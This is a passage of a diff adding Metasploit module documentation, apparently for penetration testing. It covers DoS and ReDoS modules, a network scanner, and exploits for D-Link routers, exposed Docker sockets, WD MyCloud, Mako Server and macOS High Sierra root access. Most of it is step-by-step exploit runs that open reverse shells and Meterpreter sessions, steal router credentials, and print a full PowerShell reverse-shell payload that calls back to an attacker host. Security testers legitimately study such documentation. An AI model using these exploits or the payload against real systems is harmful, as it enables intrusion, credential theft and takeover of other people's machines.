msf auxiliary(slowloris) > set rhost 172.28.128.4
|
||||
rhost => 172.28.128.4
|
||||
msf auxiliary(slowloris) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] Attacking 172.28.128.4 with 150 sockets
|
||||
[*] Creating sockets...
|
||||
[*] Sending keep-alive headers... Socket count: 150
|
||||
```
|
@ -0,0 +1,67 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
|
||||
Any application that uses a vulnerable version of this module and calls the `getOS`
|
||||
or `getResult` functions will be vulnerable to this module. An example server is provided
|
||||
below.
|
||||
|
||||
## How to Install
|
||||
|
||||
To install a vulnerable version of `ua-parser-js`, run:
|
||||
```
|
||||
npm i ua-parser-js@0.7.15
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Create a new directory for test application.
|
||||
2. Copy below example server into test application directory as `server.js`.
|
||||
3. Run `npm i express` to install express in the test application directory.
|
||||
4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
|
||||
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
|
||||
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||
7. Open up a new terminal.
|
||||
8. Start msfconsole.
|
||||
9. `use auxiliary/dos/http/ua_parser_js_redos`.
|
||||
10. `set RHOST [IP]`.
|
||||
11. `run`.
|
||||
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ua-parser-js npm module version 0.7.15
|
||||
|
||||
Expected output for successful exploitation:
|
||||
|
||||
```
|
||||
[*] Testing Service to make sure it is working.
|
||||
[*] Test request successful, attempting to send payload
|
||||
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||
[*] Testing for service unresponsiveness.
|
||||
[+] Service not responding.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### Example Vulnerable Application
|
||||
|
||||
```
|
||||
// npm i express
|
||||
// npm i ua-parser-js@0.7.15 (vulnerable)
|
||||
// npm i ua-parser-js (non-vulnerable)
|
||||
|
||||
const express = require('express')
|
||||
const uaParser = require('ua-parser-js');
|
||||
const app = express()
|
||||
|
||||
app.get('/', (req, res) => {
|
||||
var parser = new uaParser(req.headers['user-agent']);
|
||||
res.end(JSON.stringify(parser.getResult()));
|
||||
});
|
||||
|
||||
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
|
||||
```
|
34
documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md
Normal file
34
documentation/modules/auxiliary/scanner/wsdd/wsdd_query.md
Normal file
@ -0,0 +1,34 @@
|
||||
## Vulnerable Application
|
||||
|
||||
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
|
||||
|
||||
Web service enabled devices typically include printers, scanners and file shares.
|
||||
|
||||
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
|
||||
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
|
||||
4. Do: `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/wsdd/wsdd_query
|
||||
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
|
||||
rhosts => 239.255.255.250
|
||||
msf auxiliary(wsdd_query) > run
|
||||
|
||||
[*] Sending WS-Discovery probe to 1 hosts
|
||||
[+] 10.1.1.184 responded with:
|
||||
Address: http://10.1.1.184:3911/
|
||||
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
|
||||
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
@ -0,0 +1,64 @@
|
||||
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
|
||||
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
|
||||
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
|
||||
3. Do : `set RHOST [RouterIP]`
|
||||
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
|
||||
5. Do : `run`
|
||||
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
|
||||
|
||||
|
||||
## Example
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
|
||||
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
|
||||
RHOST => 192.168.0.14
|
||||
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
|
||||
RPORT => 80
|
||||
msf exploit(dlink_dir850l_unauth_exec) > check
|
||||
[*] 192.168.0.14:80 The target service is running, but could not be validated.
|
||||
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
|
||||
LHOST => ens3
|
||||
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
|
||||
LPORT => 3131
|
||||
msf exploit(dlink_dir850l_unauth_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.0.11:3131
|
||||
[*] 192.168.0.14:80 - Connecting to target...
|
||||
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
|
||||
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
|
||||
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
|
||||
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
|
||||
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
|
||||
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
|
||||
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
|
||||
[*] 192.168.0.14:80 - Sending payload to the server...
|
||||
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
|
||||
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
|
||||
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
|
||||
[*] Sending stage (84 bytes) to 192.168.0.14
|
||||
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
|
||||
[+] Deleted /tmp/uoskutcy
|
||||
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
|
||||
[*] Server stopped.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
190745749
|
||||
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
|
||||
true
|
||||
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
|
||||
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
|
||||
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
|
||||
pwd
|
||||
/
|
||||
```
|
@ -67,6 +67,8 @@ OK
|
||||
|
||||
[Disable][5] or [protect][6] the Docker tcp socket.
|
||||
|
||||
[User namespaces][7] did **not** protect against this.
|
||||
|
||||
# Exploitation
|
||||
This module is designed for the attacker to leverage, creation of a
|
||||
Docker container with out authentication through the Docker tcp socket
|
||||
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
|
||||
msf > use exploit/linux/http/docker_daemon_tcp
|
||||
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
|
||||
RHOST => 192.168.66.23
|
||||
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
|
||||
PAYLOAD => python/meterpreter/reverse_tcp
|
||||
msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
|
||||
LHOST => 192.168.66.10
|
||||
msf exploit(docker_daemon_tcp) > set VERBOSE true
|
||||
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
|
||||
[*] Waiting for the cron job to run, can take up to 60 seconds
|
||||
[*] Waiting until the docker container stopped
|
||||
[*] The docker container has been stopped, now trying to remove it
|
||||
[*] Sending stage (40411 bytes) to 192.168.66.23
|
||||
[*] Sending stage (2878936 bytes) to 192.168.66.23
|
||||
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
|
||||
[+] Deleted /etc/cron.d/lVoepNpy
|
||||
[+] Deleted /tmp/poasDIuZ
|
||||
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : debian
|
||||
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26)
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Meterpreter : python/linux
|
||||
Computer : rancher
|
||||
OS : Debian 9.1 (Linux 4.9.0-3-amd64)
|
||||
Architecture : x64
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
@ -129,3 +130,4 @@ meterpreter >
|
||||
[4]:https://docs.docker.com/engine/admin/systemd/
|
||||
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
|
||||
[6]:https://docs.docker.com/engine/security/https/
|
||||
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container
|
||||
|
@ -0,0 +1,40 @@
|
||||
## Description
|
||||
|
||||
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
|
||||
|
||||
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
|
||||
2. Do: ```set RHOST [IP]```
|
||||
3. Do: ```check```
|
||||
4. It should be reported as vulnerable
|
||||
5. Do: ```run```
|
||||
6. You should get a shell
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
|
||||
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
|
||||
RHOST => 192.168.86.104
|
||||
msf exploit(wd_mycloud_multiupload_upload) > check
|
||||
[+] 192.168.86.104:80 The target is vulnerable.
|
||||
msf exploit(wd_mycloud_multiupload_upload) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.215:4444
|
||||
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
|
||||
[+] Uploaded PHP payload successfully.
|
||||
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
|
||||
[*] Sending stage (37543 bytes) to 192.168.86.104
|
||||
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
|
||||
[+] Deleted .7bc5NqFMK5.php
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
```
|
251
documentation/modules/exploit/multi/http/makoserver_cmd_exec.md
Normal file
251
documentation/modules/exploit/multi/http/makoserver_cmd_exec.md
Normal file
@ -0,0 +1,251 @@
|
||||
## Description
|
||||
|
||||
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
|
||||
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
|
||||
|
||||
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
|
||||
|
||||
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
|
||||
- v2.5
|
||||
- v2.6
|
||||
|
||||
Links:
|
||||
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
|
||||
- [Windows download page](https://makoserver.net/download/windows)
|
||||
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
|
||||
- [Linux download page](https://makoserver.net/download/linux-x86)
|
||||
- [Documentation](https://makoserver.net/download/manual)
|
||||
|
||||
## References for vulnerability
|
||||
- https://blogs.securiteam.com/index.php/archives/3391
|
||||
- https://www.exploit-db.com/exploits/42683
|
||||
|
||||
## Verification Steps for Windows
|
||||
|
||||
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
|
||||
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
|
||||
4. Start msfconsole on host
|
||||
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
|
||||
6. Do: ```set RHOST <IP address of target system>```
|
||||
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
|
||||
8. Do: ```set LHOST <IP address of host system>```
|
||||
9. Do: ```exploit```
|
||||
10. You should get a Windows command shell
|
||||
|
||||
## Verification Steps for Linux
|
||||
|
||||
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
|
||||
2. From inside the extracted folder, do ```./rundemo.sh```
|
||||
4. Start msfconsole on host
|
||||
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
|
||||
6. Do: ```set RHOST <IP address of target system>```
|
||||
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
|
||||
8. Do: ```set LHOST <IP address of host system>```
|
||||
9. Do: ```exploit```
|
||||
10. You should get a Linux command shell (may need to wait ~30 seconds)
|
||||
|
||||
## Example Output
|
||||
```
|
||||
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
|
||||
RHOST => 10.10.10.3
|
||||
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||
PAYLOAD => cmd/windows/reverse_powershell
|
||||
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
|
||||
LHOST => 10.10.10.2
|
||||
msf exploit(makoserver_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.2:4444
|
||||
[*] Sending payload to target...
|
||||
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
|
||||
|
||||
Microsoft Windows
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\Smith\Downloads\MakoServer>
|
||||
|
||||
```
|
||||
|
||||
## Example Verbose Output
|
||||
```
|
||||
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
|
||||
RHOST => 10.10.10.3
|
||||
msf exploit(makoserver_cmd_exec) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||
PAYLOAD => cmd/windows/reverse_powershell
|
||||
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
|
||||
LHOST => 10.10.10.2
|
||||
msf exploit(makoserver_cmd_exec) > check
|
||||
|
||||
[*] Trying to detect running Mako Server and necessary files...
|
||||
[*] Mako Server save.lsp returns correct ouput.
|
||||
[*] 10.10.10.3:80 The target appears to be vulnerable.
|
||||
msf exploit(makoserver_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.2:4444
|
||||
[*] Sending payload to target...
|
||||
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
|
||||
[*] Sending PUT request to save.lsp...
|
||||
[*] Sending GET request to manage.lsp...
|
||||
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
|
||||
|
||||
Microsoft Windows
|
||||
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\Smith\Downloads\MakoServer>
|
||||
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Targeting Windows 7 SP1 x64 running Mako Server v2.5
|
||||
|
||||
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
|
||||
RHOST => 10.10.10.2
|
||||
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
|
||||
PAYLOAD => cmd/windows/reverse_powershell
|
||||
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
|
||||
LHOST => 10.10.10.4
|
||||
msf exploit(makoserver_cmd_exec) > check
|
||||
[*] 10.10.10.2:80 The target appears to be vulnerable.
|
||||
msf exploit(makoserver_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.4:4444
|
||||
[*] Sending payload to target...
|
||||
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
|
||||
|
||||
Microsoft Windows
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
C:\Users\Smith\Downloads\MakoServer>^Z
|
||||
Background session 1? [y/N] y
|
||||
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
|
||||
msf post(shell_to_meterpreter) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
|
||||
msf post(shell_to_meterpreter) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(shell_to_meterpreter) > set LPORT 8080
|
||||
LPORT => 8080
|
||||
msf post(shell_to_meterpreter) > exploit
|
||||
|
||||
[*] Upgrading session ID: 1
|
||||
[*] Starting exploit/multi/handler
|
||||
[*] Started reverse TCP handler on 10.10.10.4:8080
|
||||
[-] Powershell is not installed on the target.
|
||||
[*] Command stager progress: 1.66% (1699/102108 bytes)
|
||||
...
|
||||
[*] Command stager progress: 100.00% (102108/102108 bytes)
|
||||
[*] Post module execution completed
|
||||
msf post(shell_to_meterpreter) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
|
||||
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
|
||||
|
||||
msf post(shell_to_meterpreter) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: smith-PC\smith
|
||||
meterpreter > sysinfo
|
||||
Computer : SMITH-PC
|
||||
OS : Windows 7 (Build 7601, Service Pack 1).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 2
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
|
||||
|
||||
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/makoserver_cmd_exec
|
||||
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
|
||||
RHOST => 10.10.10.2
|
||||
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
|
||||
PAYLOAD => cmd/unix/reverse_python
|
||||
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
|
||||
LHOST => 10.10.10.4
|
||||
msf exploit(makoserver_cmd_exec) > check
|
||||
[*] 10.10.10.2:80 The target appears to be vulnerable.
|
||||
msf exploit(makoserver_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.10.10.4:4444
|
||||
[*] Sending payload to target...
|
||||
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
|
||||
|
||||
ls
|
||||
LICENSE.txt
|
||||
mako
|
||||
mako.zip
|
||||
README.txt
|
||||
rundemo.sh
|
||||
tutorial
|
||||
^Z
|
||||
Background session 1? [y/N] y
|
||||
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
|
||||
msf post(shell_to_meterpreter) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
|
||||
|
||||
msf post(shell_to_meterpreter) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(shell_to_meterpreter) > set LPORT 8080
|
||||
LPORT => 8080
|
||||
msf post(shell_to_meterpreter) > exploit
|
||||
|
||||
[*] Upgrading session ID: 1
|
||||
[*] Starting exploit/multi/handler
|
||||
[*] Started reverse TCP handler on 10.10.10.4:8080
|
||||
[*] Sending stage (847604 bytes) to 10.10.10.2
|
||||
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
|
||||
[*] Command stager progress: 100.00% (736/736 bytes)
|
||||
[*] Post module execution completed
|
||||
msf post(shell_to_meterpreter) > sessions -l
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
|
||||
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
|
||||
msf post(shell_to_meterpreter) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=1000, gid=1000, euid=1000, egid=1000
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.10.10.2
|
||||
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
|
||||
Architecture : x64
|
||||
Meterpreter : x86/linux
|
||||
```
|
104
documentation/modules/exploit/osx/local/root_no_password.md
Normal file
104
documentation/modules/exploit/osx/local/root_no_password.md
Normal file
@ -0,0 +1,104 @@
|
||||
## Vulnerable Application
|
||||
This vulnerability works against OSX 10.13 (High Sierra). Early
|
||||
research (https://objective-see.com/blog/blog_0x24.html) suggests that
|
||||
the vulnerability is the result of multiple errors ultimately started by
|
||||
an incorrect return value from triggered by the function
|
||||
`od_verify_crypt_password` returning true even if the account is
|
||||
disabled. The subsequent function calls appear to validate and create
|
||||
the password, though there is still a lot of research into the bug and
|
||||
these results should be verified once more research has been published.
|
||||
|
||||
## Verification Steps
|
||||
1. Get a session on a vulnerable system
|
||||
2. `use exploit/osx/local/root_no_password`
|
||||
3. `set lhost <IP>`
|
||||
4. `set lport <PORT>`
|
||||
5. `set session <session_id>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
### Example Run
|
||||
```
|
||||
msf exploit(psexec) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload osx/x64/meterpreter_reverse_tcp
|
||||
payload => osx/x64/meterpreter_reverse_tcp
|
||||
msf exploit(handler) > set lhost <MSF_IP>
|
||||
lhost => <MSF_IP>
|
||||
msf exploit(handler) > set lport 4567
|
||||
lport => 4567
|
||||
msf exploit(handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on <MSF_IP>:4567
|
||||
httpserver[*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <OSX_IP>:49347) at 2017-11-29 07:28:32 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : msfusers-Mac.local
|
||||
OS : (MacOSX 17.0.0)
|
||||
Architecture : x64
|
||||
Meterpreter : x64/osx
|
||||
meterpreter > getuid
|
||||
Server username: uid=501, gid=20, euid=501, egid=20
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(handler) > use exploit/osx/local/root_no_password
|
||||
msf exploit(root_no_password) > show options
|
||||
|
||||
Module options (exploit/osx/local/root_no_password):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (osx/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST yes The listen address
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Mac OS X 10.13.1 High Sierra x64 (Native Payload)
|
||||
|
||||
|
||||
msf exploit(root_no_password) > set lhost <MSF_IP>
|
||||
lhost => <MSF_IP>
|
||||
msf exploit(root_no_password) > set lport 4562
|
||||
lport => 4562
|
||||
msf exploit(root_no_password) > set session 1
|
||||
session => 1
|
||||
msf exploit(root_no_password) > run
|
||||
|
||||
[*] Started reverse TCP handler on <MSF_IP>:4562
|
||||
[*] Writing payload file as '/tmp/cinbvsmrmyxw'
|
||||
[*] Meterpreter session 2 opened (<MSF_IP>:4562 -> <OSX_IP>:62522) at 2017-11-29 07:29:56 -0600
|
||||
[*] <OSX_IP> - Meterpreter session 2 closed. Reason: Died
|
||||
|
||||
|
||||
[*] Executing payload file as '/tmp/cinbvsmrmyxw'
|
||||
[!] This exploit may require manual cleanup of '/tmp/cinbvsmrmyxw' on the target
|
||||
|
||||
[-] Invalid session identifier: 2
|
||||
msf exploit(root_no_password) >
|
||||
msf exploit(root_no_password) >
|
||||
msf exploit(root_no_password) > run
|
||||
|
||||
[*] Started reverse TCP handler on <MSF_IP>:4562
|
||||
[*] Writing payload file as '/tmp/imtjkakowanv'
|
||||
[*] Executing payload file as '/tmp/imtjkakowanv'
|
||||
[*] Meterpreter session 3 opened (<MSF_IP>:4562 -> <OSX_IP>:49348) at 2017-11-29 07:30:53 -0600
|
||||
[+] Deleted /tmp/imtjkakowanv
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : msfusers-Mac.local
|
||||
OS : (MacOSX 17.0.0)
|
||||
Architecture : x64
|
||||
Meterpreter : x64/osx
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=20, euid=0, egid=20
|
||||
meterpreter >
|
||||
```
|
@ -0,0 +1,23 @@
|
||||
## Vulnerable Application
|
||||
|
||||
